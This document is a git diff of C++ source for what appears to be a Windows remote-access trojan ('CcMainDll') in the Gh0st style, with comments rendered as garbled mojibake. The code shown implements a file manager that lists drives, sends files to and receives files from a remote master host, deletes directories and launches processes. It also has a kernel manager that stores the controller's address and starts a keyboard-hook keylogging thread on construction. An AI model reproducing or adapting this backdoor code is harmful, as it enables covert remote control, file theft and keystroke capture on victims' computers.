lstrcat(strTemp, lpFile);
|
||||
}
|
||||
else
|
||||
lstrcpy(lpstrCat, lpFile);
|
||||
|
||||
STARTUPINFO si = {0};
|
||||
PROCESS_INFORMATION pi;
|
||||
char local_lpDesktop[] = "WinSta0\\Default";
|
||||
si.cb = sizeof si;
|
||||
if (nShowCmd != SW_HIDE)
|
||||
si.lpDesktop = local_lpDesktop;
|
||||
|
||||
CreateProcess(NULL, strTemp, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
|
||||
}
|
||||
UINT CFileManager::SendDriveList()
|
||||
{
|
||||
char DriveString[256];
|
||||
// ǰһ<C7B0><D2BB><EFBFBD>ֽ<EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>52<35>ֽ<EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
BYTE DriveList[1024];
|
||||
char FileSystem[MAX_PATH];
|
||||
char *pDrive = NULL;
|
||||
DriveList[0] = TOKEN_DRIVE_LIST; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
GetLogicalDriveStrings(sizeof(DriveString), DriveString);
|
||||
pDrive = DriveString;
|
||||
|
||||
unsigned __int64 HDAmount = 0;
|
||||
unsigned __int64 HDFreeSpace = 0;
|
||||
unsigned long AmntMB = 0; // <20>ܴ<EFBFBD>С
|
||||
unsigned long FreeMB = 0; // ʣ<><CAA3><EFBFBD>ռ<EFBFBD>
|
||||
DWORD dwOffset = 0;
|
||||
for (dwOffset = 1; *pDrive != '\0'; pDrive += lstrlen(pDrive) + 1)
|
||||
{
|
||||
memset(FileSystem, 0, sizeof(FileSystem));
|
||||
// <20>õ<EFBFBD><C3B5>ļ<EFBFBD>ϵͳ<CFB5><CDB3>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD>С
|
||||
GetVolumeInformation(pDrive, NULL, 0, NULL, NULL, NULL, FileSystem, MAX_PATH);
|
||||
SHFILEINFO sfi;
|
||||
SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi, sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
|
||||
|
||||
int nTypeNameLen = lstrlen(sfi.szTypeName) + 1;
|
||||
int nFileSystemLen = lstrlen(FileSystem) + 1;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̴<EFBFBD>С
|
||||
if (pDrive[0] != 'A' && pDrive[0] != 'B' && GetDiskFreeSpaceEx(pDrive, (PULARGE_INTEGER)&HDFreeSpace, (PULARGE_INTEGER)&HDAmount, NULL))
|
||||
{
|
||||
AmntMB = HDAmount / 1024 / 1024;
|
||||
FreeMB = HDFreeSpace / 1024 / 1024;
|
||||
}
|
||||
else
|
||||
{
|
||||
AmntMB = 0;
|
||||
FreeMB = 0;
|
||||
}
|
||||
// <20><>ʼ<EFBFBD><CABC>ֵ
|
||||
DriveList[dwOffset] = pDrive[0];
|
||||
DriveList[dwOffset + 1] = GetDriveType(pDrive);
|
||||
|
||||
|
||||
// <20><><EFBFBD>̿ռ<CCBF><D5BC><EFBFBD><EFBFBD><EFBFBD>ռȥ<D5BC><C8A5>8<EFBFBD>ֽ<EFBFBD>
|
||||
memcpy(DriveList + dwOffset + 2, &AmntMB, sizeof(unsigned long));
|
||||
memcpy(DriveList + dwOffset + 6, &FreeMB, sizeof(unsigned long));
|
||||
|
||||
// <20><><EFBFBD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
memcpy(DriveList + dwOffset + 10, sfi.szTypeName, nTypeNameLen);
|
||||
memcpy(DriveList + dwOffset + 10 + nTypeNameLen, FileSystem, nFileSystemLen);
|
||||
|
||||
dwOffset += 10 + nTypeNameLen + nFileSystemLen;
|
||||
}
|
||||
|
||||
return Send((LPBYTE)DriveList, dwOffset);
|
||||
}
|
||||
|
||||
|
||||
UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory)
|
||||
{
|
||||
// <20><><EFBFBD>ô<EFBFBD><C3B4>䷽ʽ
|
||||
m_nTransferMode = TRANSFER_MODE_NORMAL;
|
||||
|
||||
UINT nRet = 0;
|
||||
char strPath[MAX_PATH];
|
||||
char *pszFileName = NULL;
|
||||
LPBYTE lpList = NULL;
|
||||
HANDLE hFile;
|
||||
DWORD dwOffset = 0; // λ<><CEBB>ָ<EFBFBD><D6B8>
|
||||
int nLen = 0;
|
||||
DWORD nBufferSize = 1024 * 10; // <20>ȷ<EFBFBD><C8B7><EFBFBD>10K<30>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>
|
||||
WIN32_FIND_DATA FindFileData;
|
||||
|
||||
lpList = (BYTE *)LocalAlloc(LPTR, nBufferSize);
|
||||
|
||||
wsprintf(strPath, "%s\\*.*", lpszDirectory);
|
||||
hFile = FindFirstFile(strPath, &FindFileData);
|
||||
|
||||
if (hFile == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
BYTE bToken = TOKEN_FILE_LIST;
|
||||
return Send(&bToken, 1);
|
||||
}
|
||||
|
||||
*lpList = TOKEN_FILE_LIST;
|
||||
|
||||
// 1 Ϊ<><CEAA><EFBFBD>ݰ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>ռ<EFBFBD>ֽ<EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ
|
||||
dwOffset = 1;
|
||||
/*
|
||||
<09>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD> 1
|
||||
<09>ļ<EFBFBD><C4BC><EFBFBD> strlen(filename) + 1 ('\0')
|
||||
<09>ļ<EFBFBD><C4BC><EFBFBD>С 4
|
||||
*/
|
||||
do
|
||||
{
|
||||
// <20><>̬<EFBFBD><CCAC>չ<EFBFBD><D5B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (dwOffset > (nBufferSize - MAX_PATH * 2))
|
||||
{
|
||||
nBufferSize += MAX_PATH * 2;
|
||||
lpList = (BYTE *)LocalReAlloc(lpList, nBufferSize, LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||||
}
|
||||
pszFileName = FindFileData.cFileName;
|
||||
if (strcmp(pszFileName, ".") == 0 || strcmp(pszFileName, "..") == 0)
|
||||
continue;
|
||||
// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD> 1 <20>ֽ<EFBFBD>
|
||||
*(lpList + dwOffset) = FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY;
|
||||
dwOffset++;
|
||||
// <20>ļ<EFBFBD><C4BC><EFBFBD> lstrlen(pszFileName) + 1 <20>ֽ<EFBFBD>
|
||||
nLen = lstrlen(pszFileName);
|
||||
memcpy(lpList + dwOffset, pszFileName, nLen);
|
||||
dwOffset += nLen;
|
||||
*(lpList + dwOffset) = 0;
|
||||
dwOffset++;
|
||||
|
||||
// <20>ļ<EFBFBD><C4BC><EFBFBD>С 8 <20>ֽ<EFBFBD>
|
||||
memcpy(lpList + dwOffset, &FindFileData.nFileSizeHigh, sizeof(DWORD));
|
||||
memcpy(lpList + dwOffset + 4, &FindFileData.nFileSizeLow, sizeof(DWORD));
|
||||
dwOffset += 8;
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1> 8 <20>ֽ<EFBFBD>
|
||||
memcpy(lpList + dwOffset, &FindFileData.ftLastWriteTime, sizeof(FILETIME));
|
||||
dwOffset += 8;
|
||||
} while(FindNextFile(hFile, &FindFileData));
|
||||
|
||||
nRet = Send(lpList, dwOffset);
|
||||
|
||||
LocalFree(lpList);
|
||||
FindClose(hFile);
|
||||
return nRet;
|
||||
}
|
||||
|
||||
|
||||
bool CFileManager::DeleteDirectory(LPCTSTR lpszDirectory)
|
||||
{
|
||||
WIN32_FIND_DATA wfd;
|
||||
char lpszFilter[MAX_PATH];
|
||||
|
||||
wsprintf(lpszFilter, "%s\\*.*", lpszDirectory);
|
||||
|
||||
HANDLE hFind = FindFirstFile(lpszFilter, &wfd);
|
||||
if (hFind == INVALID_HANDLE_VALUE) // <20><><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD>ҵ<EFBFBD><D2B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>
|
||||
return FALSE;
|
||||
|
||||
do
|
||||
{
|
||||
if (wfd.cFileName[0] != '.')
|
||||
{
|
||||
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
|
||||
{
|
||||
char strDirectory[MAX_PATH];
|
||||
wsprintf(strDirectory, "%s\\%s", lpszDirectory, wfd.cFileName);
|
||||
DeleteDirectory(strDirectory);
|
||||
}
|
||||
else
|
||||
{
|
||||
char strFile[MAX_PATH];
|
||||
wsprintf(strFile, "%s\\%s", lpszDirectory, wfd.cFileName);
|
||||
DeleteFile(strFile);
|
||||
}
|
||||
}
|
||||
} while (FindNextFile(hFind, &wfd));
|
||||
|
||||
FindClose(hFind); // <20>رղ<D8B1><D5B2>Ҿ<EFBFBD><D2BE><EFBFBD>
|
||||
|
||||
if(!RemoveDirectory(lpszDirectory))
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
|
||||
UINT CFileManager::SendFileSize(LPCTSTR lpszFileName)
|
||||
{
|
||||
UINT nRet = 0;
|
||||
DWORD dwSizeHigh;
|
||||
DWORD dwSizeLow;
|
||||
// 1 <20>ֽ<EFBFBD>token, 8<>ֽڴ<D6BD>С, <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>, '\0'
|
||||
HANDLE hFile;
|
||||
// <20><><EFBFBD>浱ǰ<E6B5B1><C7B0><EFBFBD>ڲ<EFBFBD><DAB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||
memset(m_strCurrentProcessFileName, 0, sizeof(m_strCurrentProcessFileName));
|
||||
strcpy(m_strCurrentProcessFileName, lpszFileName);
|
||||
|
||||
hFile = CreateFile(lpszFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
|
||||
if (hFile == INVALID_HANDLE_VALUE)
|
||||
return FALSE;
|
||||
dwSizeLow = GetFileSize(hFile, &dwSizeHigh);
|
||||
CloseHandle(hFile);
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
int nPacketSize = lstrlen(lpszFileName) + 10;
|
||||
BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize);
|
||||
memset(bPacket, 0, nPacketSize);
|
||||
|
||||
bPacket[0] = TOKEN_FILE_SIZE;
|
||||
FILESIZE *pFileSize = (FILESIZE *)(bPacket + 1);
|
||||
pFileSize->dwSizeHigh = dwSizeHigh;
|
||||
pFileSize->dwSizeLow = dwSizeLow;
|
||||
memcpy(bPacket + 9, lpszFileName, lstrlen(lpszFileName) + 1);
|
||||
|
||||
nRet = Send(bPacket, nPacketSize);
|
||||
LocalFree(bPacket);
|
||||
return nRet;
|
||||
}
|
||||
|
||||
UINT CFileManager::SendFileData(LPBYTE lpBuffer)
|
||||
{
|
||||
UINT nRet;
|
||||
FILESIZE *pFileSize;
|
||||
char *lpFileName;
|
||||
|
||||
pFileSize = (FILESIZE *)lpBuffer;
|
||||
lpFileName = m_strCurrentProcessFileName;
|
||||
|
||||
// Զ<><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
|
||||
if (pFileSize->dwSizeLow == -1)
|
||||
{
|
||||
UploadNext();
|
||||
return 0;
|
||||
}
|
||||
HANDLE hFile;
|
||||
hFile = CreateFile(lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
|
||||
if (hFile == INVALID_HANDLE_VALUE)
|
||||
return -1;
|
||||
|
||||
SetFilePointer(hFile, pFileSize->dwSizeLow, (long *)&(pFileSize->dwSizeHigh), FILE_BEGIN);
|
||||
|
||||
int nHeadLength = 9; // 1 + 4 + 4<><34><EFBFBD>ݰ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>С
|
||||
DWORD nNumberOfBytesToRead = MAX_SEND_BUFFER - nHeadLength;
|
||||
DWORD nNumberOfBytesRead = 0;
|
||||
|
||||
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, MAX_SEND_BUFFER);
|
||||
// Token, <20><>С<EFBFBD><D0A1>ƫ<EFBFBD>ƣ<EFBFBD><C6A3>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
lpPacket[0] = TOKEN_FILE_DATA;
|
||||
memcpy(lpPacket + 1, pFileSize, sizeof(FILESIZE));
|
||||
ReadFile(hFile, lpPacket + nHeadLength, nNumberOfBytesToRead, &nNumberOfBytesRead, NULL);
|
||||
CloseHandle(hFile);
|
||||
|
||||
|
||||
if (nNumberOfBytesRead > 0)
|
||||
{
|
||||
int nPacketSize = nNumberOfBytesRead + nHeadLength;
|
||||
nRet = Send(lpPacket, nPacketSize);
|
||||
}
|
||||
else
|
||||
{
|
||||
UploadNext();
|
||||
}
|
||||
|
||||
LocalFree(lpPacket);
|
||||
|
||||
return nRet;
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ļ<EFBFBD>
|
||||
void CFileManager::UploadNext()
|
||||
{
|
||||
list <string>::iterator it = m_UploadList.begin();
|
||||
// ɾ<><C9BE>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_UploadList.erase(it);
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ϴ<EFBFBD><CFB4><EFBFBD><EFBFBD><EFBFBD>
|
||||
if(m_UploadList.empty())
|
||||
{
|
||||
SendToken(TOKEN_TRANSFER_FINISH);
|
||||
}
|
||||
else
|
||||
{
|
||||
// <20>ϴ<EFBFBD><CFB4><EFBFBD>һ<EFBFBD><D2BB>
|
||||
it = m_UploadList.begin();
|
||||
SendFileSize((*it).c_str());
|
||||
}
|
||||
}
|
||||
int CFileManager::SendToken(BYTE bToken)
|
||||
{
|
||||
return Send(&bToken, 1);
|
||||
}
|
||||
|
||||
bool CFileManager::UploadToRemote(LPBYTE lpBuffer)
|
||||
{
|
||||
|
||||
if (lpBuffer[lstrlen((char *)lpBuffer) - 1] == '\\')
|
||||
{
|
||||
FixedUploadList((char *)lpBuffer);
|
||||
if (m_UploadList.empty())
|
||||
{
|
||||
StopTransfer();
|
||||
return true;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
m_UploadList.push_back((char *)lpBuffer);
|
||||
}
|
||||
|
||||
list <string>::iterator it = m_UploadList.begin();
|
||||
// <20><><EFBFBD>͵<EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ļ<EFBFBD>
|
||||
SendFileSize((*it).c_str());
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool CFileManager::FixedUploadList(LPCTSTR lpPathName)
|
||||
{
|
||||
WIN32_FIND_DATA wfd;
|
||||
char lpszFilter[MAX_PATH];
|
||||
const char *lpszSlash = NULL;
|
||||
memset(lpszFilter, 0, sizeof(lpszFilter));
|
||||
|
||||
if (lpPathName[lstrlen(lpPathName) - 1] != '\\')
|
||||
lpszSlash = "\\";
|
||||
else
|
||||
lpszSlash = "";
|
||||
|
||||
wsprintf(lpszFilter, "%s%s*.*", lpPathName, lpszSlash);
|
||||
|
||||
|
||||
HANDLE hFind = FindFirstFile(lpszFilter, &wfd);
|
||||
if (hFind == INVALID_HANDLE_VALUE) // <20><><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD>ҵ<EFBFBD><D2B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>
|
||||
return false;
|
||||
|
||||
do
|
||||
{
|
||||
if (wfd.cFileName[0] != '.')
|
||||
{
|
||||
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
|
||||
{
|
||||
char strDirectory[MAX_PATH];
|
||||
wsprintf(strDirectory, "%s%s%s", lpPathName, lpszSlash, wfd.cFileName);
|
||||
FixedUploadList(strDirectory);
|
||||
}
|
||||
else
|
||||
{
|
||||
char strFile[MAX_PATH];
|
||||
wsprintf(strFile, "%s%s%s", lpPathName, lpszSlash, wfd.cFileName);
|
||||
m_UploadList.push_back(strFile);
|
||||
}
|
||||
}
|
||||
} while (FindNextFile(hFind, &wfd));
|
||||
|
||||
FindClose(hFind); // <20>رղ<D8B1><D5B2>Ҿ<EFBFBD><D2BE><EFBFBD>
|
||||
return true;
|
||||
}
|
||||
|
||||
void CFileManager::StopTransfer()
|
||||
{
|
||||
if (!m_UploadList.empty())
|
||||
m_UploadList.clear();
|
||||
SendToken(TOKEN_TRANSFER_FINISH);
|
||||
}
|
||||
|
||||
void CFileManager::CreateLocalRecvFile(LPBYTE lpBuffer)
|
||||
{
|
||||
FILESIZE *pFileSize = (FILESIZE *)lpBuffer;
|
||||
// <20><><EFBFBD>浱ǰ<E6B5B1><C7B0><EFBFBD>ڲ<EFBFBD><DAB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||
memset(m_strCurrentProcessFileName, 0, sizeof(m_strCurrentProcessFileName));
|
||||
strcpy(m_strCurrentProcessFileName, (char *)lpBuffer + 8);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_nCurrentProcessFileLength = (pFileSize->dwSizeHigh * (MAXDWORD + 1)) + pFileSize->dwSizeLow;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
|
||||
MakeSureDirectoryPathExists(m_strCurrentProcessFileName);
|
||||
|
||||
|
||||
WIN32_FIND_DATA FindFileData;
|
||||
HANDLE hFind = FindFirstFile(m_strCurrentProcessFileName, &FindFileData);
|
||||
|
||||
if (hFind != INVALID_HANDLE_VALUE
|
||||
&& m_nTransferMode != TRANSFER_MODE_OVERWRITE_ALL
|
||||
&& m_nTransferMode != TRANSFER_MODE_ADDITION_ALL
|
||||
&& m_nTransferMode != TRANSFER_MODE_JUMP_ALL
|
||||
)
|
||||
{
|
||||
SendToken(TOKEN_GET_TRANSFER_MODE);
|
||||
}
|
||||
else
|
||||
{
|
||||
GetFileData();
|
||||
}
|
||||
FindClose(hFind);
|
||||
}
|
||||
|
||||
void CFileManager::GetFileData()
|
||||
{
|
||||
int nTransferMode;
|
||||
switch (m_nTransferMode)
|
||||
{
|
||||
case TRANSFER_MODE_OVERWRITE_ALL:
|
||||
nTransferMode = TRANSFER_MODE_OVERWRITE;
|
||||
break;
|
||||
case TRANSFER_MODE_ADDITION_ALL:
|
||||
nTransferMode = TRANSFER_MODE_ADDITION;
|
||||
break;
|
||||
case TRANSFER_MODE_JUMP_ALL:
|
||||
nTransferMode = TRANSFER_MODE_JUMP;
|
||||
break;
|
||||
default:
|
||||
nTransferMode = m_nTransferMode;
|
||||
}
|
||||
|
||||
WIN32_FIND_DATA FindFileData;
|
||||
HANDLE hFind = FindFirstFile(m_strCurrentProcessFileName, &FindFileData);
|
||||
|
||||
// 1<>ֽ<EFBFBD>Token,<2C><><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƹ<EFBFBD><C6B8><EFBFBD>λ<EFBFBD><CEBB><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>λ
|
||||
BYTE bToken[9];
|
||||
DWORD dwCreationDisposition; // <20>ļ<EFBFBD><C4BC><EFBFBD>ʽ
|
||||
memset(bToken, 0, sizeof(bToken));
|
||||
bToken[0] = TOKEN_DATA_CONTINUE;
|
||||
|
||||
// <20>ļ<EFBFBD><C4BC>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (hFind != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
// <20><>ʾ<EFBFBD><CABE>ʲô
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (nTransferMode == TRANSFER_MODE_ADDITION)
|
||||
{
|
||||
memcpy(bToken + 1, &FindFileData.nFileSizeHigh, 4);
|
||||
memcpy(bToken + 5, &FindFileData.nFileSizeLow, 4);
|
||||
dwCreationDisposition = OPEN_EXISTING;
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD>
|
||||
else if (nTransferMode == TRANSFER_MODE_OVERWRITE)
|
||||
{
|
||||
// ƫ<><C6AB><EFBFBD><EFBFBD>0
|
||||
memset(bToken + 1, 0, 8);
|
||||
// <20><><EFBFBD>´<EFBFBD><C2B4><EFBFBD>
|
||||
dwCreationDisposition = CREATE_ALWAYS;
|
||||
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
|
||||
else if (nTransferMode == TRANSFER_MODE_JUMP)
|
||||
{
|
||||
DWORD dwOffset = -1;
|
||||
memcpy(bToken + 5, &dwOffset, 4);
|
||||
dwCreationDisposition = OPEN_EXISTING;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// ƫ<><C6AB><EFBFBD><EFBFBD>0 <20><>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>仰<EFBFBD><E4BBB0>^_^
|
||||
memset(bToken + 1, 0, 8);
|
||||
// <20><><EFBFBD>´<EFBFBD><C2B4><EFBFBD>
|
||||
dwCreationDisposition = CREATE_ALWAYS;
|
||||
}
|
||||
FindClose(hFind);
|
||||
|
||||
HANDLE hFile =
|
||||
CreateFile
|
||||
(
|
||||
m_strCurrentProcessFileName,
|
||||
GENERIC_WRITE,
|
||||
FILE_SHARE_WRITE,
|
||||
NULL,
|
||||
dwCreationDisposition,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
0
|
||||
);
|
||||
// <20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (hFile == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
m_nCurrentProcessFileLength = 0;
|
||||
return;
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
|
||||
Send(bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
void CFileManager::WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize)
|
||||
{
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
BYTE *pData;
|
||||
DWORD dwBytesToWrite;
|
||||
DWORD dwBytesWrite;
|
||||
int nHeadLength = 9; // 1 + 4 + 4 <20><><EFBFBD>ݰ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>С<EFBFBD><D0A1>Ϊ<EFBFBD>̶<EFBFBD><CCB6><EFBFBD>9
|
||||
FILESIZE *pFileSize;
|
||||
// <20>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݵ<EFBFBD>ƫ<EFBFBD><C6AB>
|
||||
pData = lpBuffer + 8;
|
||||
|
||||
pFileSize = (FILESIZE *)lpBuffer;
|
||||
|
||||
// <20>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>е<EFBFBD>ƫ<EFBFBD><C6AB>
|
||||
|
||||
LONG dwOffsetHigh = pFileSize->dwSizeHigh;
|
||||
LONG dwOffsetLow = pFileSize->dwSizeLow;
|
||||
|
||||
|
||||
dwBytesToWrite = nSize - 8;
|
||||
|
||||
HANDLE hFile =
|
||||
CreateFile
|
||||
(
|
||||
m_strCurrentProcessFileName,
|
||||
GENERIC_WRITE,
|
||||
FILE_SHARE_WRITE,
|
||||
NULL,
|
||||
OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
0
|
||||
);
|
||||
|
||||
SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN);
|
||||
|
||||
int nRet = 0;
|
||||
// д<><D0B4><EFBFBD>ļ<EFBFBD>
|
||||
nRet = WriteFile
|
||||
(
|
||||
hFile,
|
||||
pData,
|
||||
dwBytesToWrite,
|
||||
&dwBytesWrite,
|
||||
NULL
|
||||
);
|
||||
// if (nRet <= 0)
|
||||
// printf("<22>ļ<EFBFBD>д<EFBFBD><D0B4>ʧ<EFBFBD><CAA7>");
|
||||
CloseHandle(hFile);
|
||||
// Ϊ<>˱Ƚϣ<C8BD><CFA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
BYTE bToken[9];
|
||||
bToken[0] = TOKEN_DATA_CONTINUE;
|
||||
dwOffsetLow += dwBytesWrite;
|
||||
memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
|
||||
memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow));
|
||||
Send(bToken, sizeof(bToken));
|
||||
}
|
||||
void CFileManager::SetTransferMode(LPBYTE lpBuffer)
|
||||
{
|
||||
memcpy(&m_nTransferMode, lpBuffer, sizeof(m_nTransferMode));
|
||||
GetFileData();
|
||||
}
|
||||
|
||||
void CFileManager::CreateFolder(LPBYTE lpBuffer)
|
||||
{
|
||||
MakeSureDirectoryPathExists((char *)lpBuffer);
|
||||
SendToken(TOKEN_CREATEFOLDER_FINISH);
|
||||
}
|
||||
|
||||
void CFileManager::Rename(LPBYTE lpBuffer)
|
||||
{
|
||||
LPCTSTR lpExistingFileName = (char *)lpBuffer;
|
||||
LPCTSTR lpNewFileName = lpExistingFileName + lstrlen(lpExistingFileName) + 1;
|
||||
::MoveFile(lpExistingFileName, lpNewFileName);
|
||||
SendToken(TOKEN_RENAME_FINISH);
|
||||
}
|
157
CcMainDll/CcMainDll/common/KernelManager.cpp
Normal file
157
CcMainDll/CcMainDll/common/KernelManager.cpp
Normal file
@@ -0,0 +1,157 @@
|
||||
// KernelManager.cpp: implementation of the CKernelManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "..\pch.h"
|
||||
#include "KernelManager.h"
|
||||
#include "loop.h"
|
||||
#include "until.h"
|
||||
#include "inject.h"
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
char CKernelManager::m_strMasterHost[256] = {0};
|
||||
UINT CKernelManager::m_nMasterPort = 80;
|
||||
CKernelManager::CKernelManager(CClientSocket *pClient, LPCTSTR lpszServiceName, DWORD dwServiceType, LPCTSTR lpszKillEvent,
|
||||
LPCTSTR lpszMasterHost, UINT nMasterPort) : CManager(pClient)
|
||||
{
|
||||
if (lpszServiceName != NULL)
|
||||
{
|
||||
lstrcpy(m_strServiceName, lpszServiceName);
|
||||
}
|
||||
if (lpszKillEvent != NULL)
|
||||
lstrcpy(m_strKillEvent, lpszKillEvent);
|
||||
if (lpszMasterHost != NULL)
|
||||
lstrcpy(m_strMasterHost, lpszMasterHost);
|
||||
|
||||
m_nMasterPort = nMasterPort;
|
||||
m_dwServiceType = dwServiceType;
|
||||
m_nThreadCount = 0;
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӣ<EFBFBD><D3A3><EFBFBD><EFBFBD>ƶ˷<C6B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD>
|
||||
m_bIsActived = false;
|
||||
// <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD><D3BC>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD>߳<EFBFBD>
|
||||
// <20><><EFBFBD><EFBFBD>HOOK<4F><4B>UNHOOK<4F><4B><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬһ<CDAC><D2BB><EFBFBD>߳<EFBFBD><DFB3><EFBFBD>
|
||||
m_hThread[m_nThreadCount++] =
|
||||
MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_HookKeyboard, NULL, 0, NULL, true);
|
||||
|
||||
}
|
||||
|
||||
CKernelManager::~CKernelManager()
|
||||
{
|
||||
for(int i = 0; i < m_nThreadCount; i++)
